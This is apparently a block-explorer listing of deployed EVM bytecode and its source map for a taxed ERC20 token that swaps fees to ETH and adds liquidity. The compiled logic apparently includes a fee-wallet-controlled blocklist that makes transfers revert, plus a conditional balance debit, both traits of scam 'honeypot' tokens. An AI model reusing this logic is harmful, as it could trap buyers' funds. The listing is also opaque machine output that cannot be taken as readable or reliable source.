af90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061146590831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461149a5760405162461bcd60e51b8152600401610b5a906124f1565b600e839055600f82905560108190556114b7816112ed858561165c565b601755505050565b6004546114dc9061010090046001600160a01b0316336005611b0a565b6114e557505050565b60005b82811015610bd45781600614611552576001600d600086868581811061151057611510612526565b9050602002016020810190611525919061240a565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556115a8565b6000600d600086868581811061156a5761156a612526565b905060200201602081019061157f919061240a565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b6115b181612552565b90506114e8565b6000546001600160a01b031633146115e25760405162461bcd60e51b8152600401610b5a906124f1565b601c55565b6000546001600160a01b031633146116115760405162461bcd60e51b8152600401610b5a906124f1565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061166983856125c2565b905083811015610ce75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b5a565b6001600160a01b0383166117215760405162461bcd60e51b815260206004820152602760248201527f45524332303a20617070726f76652073656e6464657220746865207a65726f206044820152666164647265737360c81b6064820152608401610b5a565b6001600160a01b0382166117825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b5a565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b03841661184c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e736665722073656e6464657220746865207a65726f604482015267206164647265737360c01b6064820152608401610b5a565b6001600160a01b0383166118ae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b5a565b601f54600160a01b900460ff16156118d2576118cb848484611b35565b9050610ce7565b30600090815260066020526040902054601d54811080159081906119005750601f54600160a01b900460ff16155b801561192557506001600160a01b0386166000908152600c602052604090205460ff16155b801561193a5750601f54600160a81b900460ff165b1561196057601f54600160b01b900460ff161561195757601d5491505b61196082611c1b565b61196986611d56565b156119ab576001600160a01b0386166000908152600660205260409020546119919085611ac8565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff16806119ea57506001600160a01b03861660009081526008602052604090205460ff165b6119fe576119f9878787611d7e565b611a00565b845b6001600160a01b038716600090815260066020526040902054909150611a26908261165c565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a7a9085815260200190565b60405180910390a360019350505050610ce7565b60008184841115611ab25760405162461bcd60e51b8152600401610b5a919061231c565b506000611abf84866125d5565b95945050505050565b6000610ce783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a8e565b6000826001600160a01b0316846001600160a01b0316148015611b2d5750816005145b949350505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b86918490611a8e565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611bb5908361165c565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c099086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c5191600291611c4b9182908790611eca565b90611f4c565b90506000611c5f8383611ac8565b9050611c6a81611f8e565b6014544790600090611c8a90611c81906002611f4c565b60195490611ac8565b90506000611cac6002611c4b84611c4b60145488611eca90919063ffffffff16565b90506000611cc983611c4b60165487611eca90919063ffffffff16565b90506000611ce182611cdb8786611ac8565b90611ac8565b90508015611d0457600454611d049061010090046001600160a01b031682612121565b8115611d2057600554611d20906001600160a01b031683612121565b600083118015611d305750600087115b15611d3f57611d3f878461215c565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611d6d600154612231565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600b6020526040812054819060ff16611dc6576001600160a01b0385166000908152600d602052604090205460ff1615611dc657600080fd5b6001600160a01b0385166000908152600c602052604090205460ff1615611e0857611e016064611c4b60175486611eca90919063ffffffff16565b9050611e46565b6001600160a01b0384166000908152600c602052604090205460ff1615611e4657611e436064611c4b60185486611eca90919063ffffffff16565b90505b8015611ec05730600090815260066020526040902054611e66908261165c565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611eb79085815260200190565b60405180910390a35b611abf8382611ac8565b600082600003611edc57506000610c7d565b6000611ee883856125e8565b905082611ef585836125ff565b14610ce75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b5a565b6000610ce783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612239565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611fc357611fc3612526565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561201c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061204091906125a5565b8160018151811061205357612053612526565b6001600160a01b039283166020918202929092010152601e5461207991309116846116bb565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120b2908590600090869030904290600401612665565b600060405180830381600087803b1580156120cc57600080fd5b505af11580156120e0573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516121159291906126a1565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612157573d6000803e3d6000fd5b505050565b601e546121749030906001600160a01b0316846116bb565b601e546001600160a01b031663f305d71982308560008061219d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612205573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061222a91906126ba565b5050505050565b600081610c7d565b6000818361225a5760405162461bcd60e51b8152600401610b5a919061231c565b506000611abf84866125ff565b60008083601f84011261227957600080fd5b50813567ffffffffffffffff81111561229157600080fd5b6020830191508360208260051b85010111156122ac57600080fd5b9250929050565b803580151581146122c357600080fd5b919050565b6000806000604084860312156122dd57600080fd5b833567ffffffffffffffff8111156122f457600080fd5b61230086828701612267565b90945092506123139050602085016122b3565b90509250925092565b600060208083528351808285015260005b818110156123495785810183015185820160400152820161232d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461237f57600080fd5b50565b6000806040838503121561239557600080fd5b82356123a08161236a565b946020939093013593505050565b6000806000606084860312156123c357600080fd5b83356123ce8161236a565b925060208401356123de8161236a565b929592945050506040919091013590565b60006020828403121561240157600080fd5b610ce7826122b3565b60006020828403121561241c57600080fd5b8135610ce78161236a565b60006020828403121561243957600080fd5b5035919050565b60008060006060848603121561245557600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561248157600080fd5b833567ffffffffffffffff81111561249857600080fd5b6124a486828701612267565b909790965060209590950135949350505050565b600080604083850312156124cb57600080fd5b82356124d68161236a565b915060208301356124e68161236a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016125645761256461253c565b5060010190565b600181811c9082168061257f57607f821691505b60208210810361259f57634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156125b757600080fd5b8151610ce78161236a565b80820180821115610c7d57610c7d61253c565b81810381811115610c7d57610c7d61253c565b8082028115828204841417610c7d57610c7d61253c565b60008261261c57634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b8381101561265a5781516001600160a01b031687529582019590820190600101612635565b509495945050505050565b85815284602082015260a06040820152600061268460a0830186612621565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611b2d6040830184612621565b6000806000606084860312156126cf57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cb99e7926dca7b9cb6c8b605f9f979dae2b65fa297d418b7a1229b13355bffe964736f6c63430008110033
Deployed Bytecode Sourcemap
4412:15017:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10070:224;;;;;;;;;;-1:-1:-1;10070:224:0;;;;;:::i;:::-;;:::i;:::-;;8259:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9553:161;;;;;;;;;;-1:-1:-1;9553:161:0;;;;;:::i;:::-;;:::i;:::-;;;2235:14:1;;2228:22;2210:41;;2198:2;2183:18;9553:161:0;2070:187:1;4698:43:0;;;;;;;;;;-1:-1:-1;4698:43:0;;;;;;;-1:-1:-1;;;;;4698:43:0;;;;;;-1:-1:-1;;;;;2442:32:1;;;2424:51;;2412:2;2397:18;4698:43:0;2262:219:1;4748:40:0;;;;;;;;;;-1:-1:-1;4748:40:0;;;;-1:-1:-1;;;;;4748:40:0;;;6103:41;;;;;;;;;;-1:-1:-1;6103:41:0;;;;-1:-1:-1;;;;;6103:41:0;;;8536:100;;;;;;;;;;-1:-1:-1;8616:12:0;;8536:100;;;2866:25:1;;;2854:2;2839:18;8536:100:0;2720:177:1;14325:313:0;;;;;;;;;;-1:-1:-1;14325:313:0;;;;;:::i;:::-;;:::i;11731:113::-;;;;;;;;;;-1:-1:-1;11731:113:0;;;;;:::i;:::-;;:::i;4795:81::-;;;;;;;;;;;;;;;12917:128;;;;;;;;;;;;;:::i;12463:129::-;;;;;;;;;;-1:-1:-1;12463:129:0;;;;;:::i;:::-;;:::i;8445:83::-;;;;;;;;;;-1:-1:-1;8511:9:0;;8445:83;;8511:9;;;;4150:36:1;;4138:2;4123:18;8445:83:0;4008:184:1;12320:135:0;;;;;;;;;;-1:-1:-1;12320:135:0;;;;;:::i;:::-;;:::i;8922:218::-;;;;;;;;;;-1:-1:-1;8922:218:0;;;;;:::i;:::-;;:::i;12188:124::-;;;;;;;;;;-1:-1:-1;12188:124:0;;;;;:::i;:::-;;:::i;5178:45::-;;;;;;;;;;-1:-1:-1;5178:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5004:53;;;;;;;;;;-1:-1:-1;5004:53:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13930:177;;;;;;;;;;-1:-1:-1;13930:177:0;;;;;:::i;:::-;;:::i;6218:40::-;;;;;;;;;;-1:-1:-1;6218:40:0;;;;-1:-1:-1;;;6218:40:0;;;;;;5595:34;;;;;;;;;;;;;;;;13191:731;;;;;;;;;;-1:-1:-1;13191:731:0;;;;;:::i;:::-;;:::i;5636:34::-;;;;;;;;;;;;;;;;11852:218;;;;;;;;;;-1:-1:-1;11852:218:0;;;;;:::i;:::-;;:::i;8644:119::-;;;;;;;;;;-1:-1:-1;8644:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8737:18:0;8710:7;8737:18;;;:9;:18;;;;;;;8644:119;5915:52;;;;;;;;;;;;;;;;5975:50;;;;;;;;;;;;;;;;5758:37;;;;;;;;;;;;;;;;5278:55;;;;;;;;;;-1:-1:-1;5278:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5469:36;;;;;;;;;;;;;;;;5123:48;;;;;;;;;;-1:-1:-1;5123:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3125:79;;;;;;;;;;-1:-1:-1;3163:7:0;3190:6;-1:-1:-1;;;;;3190:6:0;3125:79;;4471:76;;;;;;;;;;;;;;;;8350:87;;;;;;;;;;;;;:::i;9425:120::-;;;;;;;;;;-1:-1:-1;9514:23:0;;9425:120;;5802:42;;;;;;;;;;;;;;;;10638:336;;;;;;;;;;-1:-1:-1;10638:336:0;;;;;:::i;:::-;;:::i;9148:269::-;;;;;;;;;;-1:-1:-1;9148:269:0;;;;;:::i;:::-;;:::i;12780:125::-;;;;;;;;;;-1:-1:-1;12780:125:0;;;;;:::i;:::-;;:::i;5677:29::-;;;;;;;;;;;;;;;;14150:167;;;;;;;;;;-1:-1:-1;14150:167:0;;;;;:::i;:::-;;:::i;5230:41::-;;;;;;;;;;-1:-1:-1;5230:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11365:358;;;;;;;;;;-1:-1:-1;11365:358:0;;;;;:::i;:::-;;:::i;5426:30::-;;;;;;;;;;;;;;;;12600:172;;;;;;;;;;-1:-1:-1;12600:172:0;;;;;:::i;:::-;;:::i;5384:35::-;;;;;;;;;;;;;;;;6151:26;;;;;;;;;;-1:-1:-1;6151:26:0;;;;-1:-1:-1;;;;;6151:26:0;;;5512:36;;;;;;;;;;;;;;;;5064:52;;;;;;;;;;-1:-1:-1;5064:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5555:31;;;;;;;;;;;;;;;;10302:328;;;;;;;;;;-1:-1:-1;10302:328:0;;;;;:::i;:::-;;:::i;6265:45::-;;;;;;;;;;-1:-1:-1;6265:45:0;;;;-1:-1:-1;;;6265:45:0;;;;;;5342:35;;;;;;;;;;;;;;;;15980:305;;;;;;;;;;-1:-1:-1;15980:305:0;;;;;:::i;:::-;;:::i;8771:143::-;;;;;;;;;;-1:-1:-1;8771:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8879:18:0;;;8852:7;8879:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8771:143;5715:36;;;;;;;;;;;;;;;;12078:102;;;;;;;;;;-1:-1:-1;12078:102:0;;;;;:::i;:::-;;:::i;3339:157::-;;;;;;;;;;-1:-1:-1;3339:157:0;;;;;:::i;:::-;;:::i;6317:35::-;;;;;;;;;;-1:-1:-1;6317:35:0;;;;-1:-1:-1;;;6317:35:0;;;;;;10070:224;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;;;;;;;;;10177:9:::1;10173:114;10192:18:::0;;::::1;10173:114;;;10267:8;10232:20;:32;10253:7;;10261:1;10253:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10232:32:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10232:32:0;:43;;-1:-1:-1;;10232:43:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10212:3;::::1;::::0;::::1;:::i;:::-;;;;10173:114;;;;10070:224:::0;;;:::o;8259:83::-;8296:13;8329:5;8322:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8259:83;:::o;9553:161::-;9628:4;9645:39;378:10;9668:7;9677:6;9645:8;:39::i;:::-;-1:-1:-1;9702:4:0;9553:161;;;;;:::o;14325:313::-;14423:4;14440:36;14450:6;14458:9;14469:6;14440:9;:36::i;:::-;-1:-1:-1;14487:121:0;14496:6;378:10;14518:89;14556:6;14518:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14518:19:0;;;;;;:11;:19;;;;;;;;378:10;14518:33;;;;;;;;;;:37;:89::i;:::-;14487:8;:121::i;:::-;-1:-1:-1;14626:4:0;14325:313;;;;;;:::o;11731:113::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;11809:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;11809:27:0::1;-1:-1:-1::0;;;;11809:27:0;;::::1;::::0;;;::::1;::::0;;11731:113::o;12917:128::-;13024:11;-1:-1:-1;;;;;8737:18:0;12970:7;8737:18;;;:9;:18;;;;;;12997:12;;:40;;:16;:40::i;:::-;12990:47;;12917:128;:::o;12463:129::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;12545:17:::1;:39:::0;;-1:-1:-1;;;;;;12545:39:0::1;-1:-1:-1::0;;;;;12545:39:0;;;::::1;::::0;;;::::1;::::0;;12463:129::o;12320:135::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;12405:20:::1;:42:::0;;-1:-1:-1;;;;;12405:42:0;;::::1;;;-1:-1:-1::0;;;;;;12405:42:0;;::::1;::::0;;;::::1;::::0;;12320:135::o;8922:218::-;378:10;9010:4;9059:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9059:34:0;;;;;;;;;;9010:4;;9027:83;;9050:7;;9059:50;;9098:10;9059:38;:50::i;12188:124::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;12270:23:::1;:34:::0;12188:124::o;13930:177::-;14019:20;;14006:47;;14019:20;;;-1:-1:-1;;;;;14019:20:0;14040:10;14051:1;14006:12;:47::i;:::-;14002:63;;13930:177;;:::o;14002:63::-;-1:-1:-1;;;;;14071:17:0;;;;;;;:9;:17;;;;;:34;13930:177::o;13191:731::-;13271:22;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;13308:35:::1;13365:16;13308:74;;13431:16;-1:-1:-1::0;;;;;13431:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13413:53:0::1;;13475:4;13482:16;-1:-1:-1::0;;;;;13482:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13413:93;::::0;-1:-1:-1;;;;;;13413:93:0::1;::::0;;;;;;-1:-1:-1;;;;;7242:15:1;;;13413:93:0::1;::::0;::::1;7224:34:1::0;7294:15;;7274:18;;;7267:43;7159:18;;13413:93:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13396:110:::0;-1:-1:-1;;;;;;13522:28:0;::::1;13519:200;;13611:16;-1:-1:-1::0;;;;;13611:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13593:74:0::1;;13676:4;13683:16;-1:-1:-1::0;;;;;13683:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13593:114;::::0;-1:-1:-1;;;;;;13593:114:0::1;::::0;;;;;;-1:-1:-1;;;;;7242:15:1;;;13593:114:0::1;::::0;::::1;7224:34:1::0;7294:15;;7274:18;;;7267:43;7159:18;;13593:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13576:131;;13519:200;13731:11;:28:::0;;-1:-1:-1;;;;;;13731:28:0;;::::1;-1:-1:-1::0;;;;;13731:28:0;;::::1;::::0;;::::1;::::0;;13770:15:::1;:34:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;13818:41:0;;;:19:::1;:41;::::0;;;;;;;:48;;-1:-1:-1;;13818:48:0;;::::1;-1:-1:-1::0;13818:48:0;;::::1;::::0;;;13894:11;;;;::::1;13877:30:::0;;:8:::1;:30:::0;;;;;:37;;;;::::1;::::0;;::::1;::::0;;13731:28;13745:14;-1:-1:-1;13191:731:0:o;11852:218::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;11958:9:::1;11954:109;11973:17:::0;;::::1;11954:109;;;12045:6;12012:19;:30;12032:6;;12039:1;12032:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12012:30:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;12012:30:0;:39;;-1:-1:-1;;12012:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11992:3;::::1;::::0;::::1;:::i;:::-;;;;11954:109;;8350:87:::0;8389:13;8422:7;8415:14;;;;;:::i;10638:336::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;10757:17:::1;:35:::0;;;10803:17:::1;:35:::0;;;10849:12:::1;:25:::0;;;10908:58:::1;10864:10:::0;10908:40:::1;10777:15:::0;10823;10908:21:::1;:40::i;:::-;:44:::0;::::1;:58::i;:::-;10887:18;:79:::0;-1:-1:-1;;;10638:336:0:o;9148:269::-;9241:4;9258:129;378:10;9281:7;9290:96;9329:15;9290:96;;;;;;;;;;;;;;;;;378:10;9290:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9290:34:0;;;;;;;;;;;;:38;:96::i;12780:125::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;12861:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;12861:36:0::1;-1:-1:-1::0;;;;12861:36:0;;::::1;::::0;;;::::1;::::0;;12780:125::o;14150:167::-;14228:4;14245:42;378:10;14269:9;14280:6;14245:9;:42::i;11365:358::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;11506:15:::1;:35:::0;;;11552:15:::1;:35:::0;;;11598:10:::1;:25:::0;;;11663:52:::1;11611:12:::0;11663:36:::1;11524:17:::0;11570;11663:19:::1;:36::i;:52::-;11636:24;:79:::0;-1:-1:-1;;;11365:358:0:o;12600:172::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;12678:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;12678:32:0::1;-1:-1:-1::0;;;;12678:32:0;;::::1;;::::0;;12726:38:::1;::::0;::::1;::::0;::::1;::::0;12702:8;2235:14:1;2228:22;2210:41;;2198:2;2183:18;;2070:187;12726:38:0::1;;;;;;;;12600:172:::0;:::o;10302:328::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;10420:16:::1;:34:::0;;;10465:16:::1;:34:::0;;;10510:11:::1;:24:::0;;;10567:55:::1;10524:10:::0;10567:38:::1;10439:15:::0;10484;10567:20:::1;:38::i;:55::-;10547:17;:75:::0;-1:-1:-1;;;10302:328:0:o;15980:305::-;16057:20;;16044:47;;16057:20;;;-1:-1:-1;;;;;16057:20:0;16078:10;16089:1;16044:12;:47::i;:::-;16040:61;;15980:305;;;:::o;16040:61::-;16116:9;16111:167;16127:12;;;16111:167;;;16165:1;16170;16165:6;16161:106;;16204:4;16173:22;:28;16196:1;;16198;16196:4;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16173:28:0;;;;;;;;;;;;-1:-1:-1;16173:28:0;:35;;-1:-1:-1;;16173:35:0;;;;;;;;;;16161:106;;;16260:5;16229:22;:28;16252:1;;16254;16252:4;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16229:28:0;;;;;;;;;;;;-1:-1:-1;16229:28:0;:36;;-1:-1:-1;;16229:36:0;;;;;;;;;;16161:106;16141:3;;;:::i;:::-;;;16111:167;;12078:102;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;12150:10:::1;:22:::0;12078:102::o;3339:157::-;3252:6;;-1:-1:-1;;;;;3252:6:0;378:10;3252:22;3244:67;;;;-1:-1:-1;;;3244:67:0;;;;;;;:::i;:::-;3413:6:::1;:19:::0;;-1:-1:-1;;;;;;3413:19:0::1;-1:-1:-1::0;;;;;3413:19:0;::::1;::::0;;::::1;::::0;;3448:40:::1;::::0;3413:19;;;;3448:40:::1;::::0;3413:6;3448:40:::1;3339:157:::0;:::o;1229:181::-;1287:7;;1319:5;1323:1;1319;:5;:::i;:::-;1307:17;;1348:1;1343;:6;;1335:46;;;;-1:-1:-1;;;1335:46:0;;7653:2:1;1335:46:0;;;7635:21:1;7692:2;7672:18;;;7665:30;7731:29;7711:18;;;7704:57;7778:18;;1335:46:0;7451:351:1;9722:340:0;-1:-1:-1;;;;;9815:19:0;;9807:71;;;;-1:-1:-1;;;9807:71:0;;8009:2:1;9807:71:0;;;7991:21:1;8048:2;8028:18;;;8021:30;8087:34;8067:18;;;8060:62;-1:-1:-1;;;8138:18:1;;;8131:37;8185:19;;9807:71:0;7807:403:1;9807:71:0;-1:-1:-1;;;;;9897:21:0;;9889:68;;;;-1:-1:-1;;;9889:68:0;;8417:2:1;9889:68:0;;;8399:21:1;8456:2;8436:18;;;8429:30;8495:34;8475:18;;;8468:62;-1:-1:-1;;;8546:18:1;;;8539:32;8588:19;;9889:68:0;8215:398:1;9889:68:0;-1:-1:-1;;;;;9970:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10022:32;;2866:25:1;;;10022:32:0;;2839:18:1;10022:32:0;;;;;;;9722:340;;;:::o;14646:1334::-;14727:4;-1:-1:-1;;;;;14754:21:0;;14746:74;;;;-1:-1:-1;;;14746:74:0;;8820:2:1;14746:74:0;;;8802:21:1;8859:2;8839:18;;;8832:30;8898:34;8878:18;;;8871:62;-1:-1:-1;;;8949:18:1;;;8942:38;8997:19;;14746:74:0;8618:404:1;14746:74:0;-1:-1:-1;;;;;14839:16:0;;14831:64;;;;-1:-1:-1;;;14831:64:0;;9229:2:1;14831:64:0;;;9211:21:1;9268:2;9248:18;;;9241:30;9307:34;9287:18;;;9280:62;-1:-1:-1;;;9358:18:1;;;9351:33;9401:19;;14831:64:0;9027:399:1;14831:64:0;14919:16;;-1:-1:-1;;;14919:16:0;;;;14916:1057;;;14969:35;14984:7;14993:2;14997:6;14969:14;:35::i;:::-;14962:42;;;;14916:1057;15105:4;15056:28;8737:18;;;:9;:18;;;;;;15181:23;;15157:47;;;;;;;15223:44;;-1:-1:-1;15251:16:0;;-1:-1:-1;;;15251:16:0;;;;15250:17;15223:44;:66;;;;-1:-1:-1;;;;;;15272:17:0;;;;;;:8;:17;;;;;;;;15271:18;15223:66;:91;;;;-1:-1:-1;15293:21:0;;-1:-1:-1;;;15293:21:0;;;;15223:91;15219:298;;;15352:25;;-1:-1:-1;;;15352:25:0;;;;15349:97;;;15423:23;;15400:46;;15349:97;15465:36;15480:20;15465:14;:36::i;:::-;15534:19;15545:7;15534:10;:19::i;:::-;15531:94;;;-1:-1:-1;;;;;15595:18:0;;;;;;:9;:18;;;;;;:30;;15618:6;15595:22;:30::i;:::-;-1:-1:-1;;;;;15574:18:0;;;;;;:9;:18;;;;;:51;15531:94;-1:-1:-1;;;;;15663:29:0;;15640:19;15663:29;;;:20;:29;;;;;;;;;:57;;-1:-1:-1;;;;;;15696:24:0;;;;;;:20;:24;;;;;;;;15663:57;15662:142;;15776:28;15784:7;15793:2;15797:6;15776:7;:28::i;:::-;15662:142;;;15767:6;15662:142;-1:-1:-1;;;;;15849:13:0;;;;;;:9;:13;;;;;;15640:164;;-1:-1:-1;15849:30:0;;15640:164;15849:17;:30::i;:::-;-1:-1:-1;;;;;15833:13:0;;;;;;;:9;:13;;;;;;;:46;;;;15901:34;;;;;;;;;;15923:11;2866:25:1;;2854:2;2839:18;;2720:177;15901:34:0;;;;;;;;15957:4;15950:11;;;;;;;1564:192;1650:7;1686:12;1678:6;;;;1670:29;;;;-1:-1:-1;;;1670:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1710:9:0;1722:5;1726:1;1722;:5;:::i;:::-;1710:17;1564:192;-1:-1:-1;;;;;1564:192:0:o;1420:136::-;1478:7;1505:43;1509:1;1512;1505:43;;;;;;;;;;;;;;;;;:3;:43::i;16293:108::-;16368:4;16388:1;-1:-1:-1;;;;;16383:6:0;:1;-1:-1:-1;;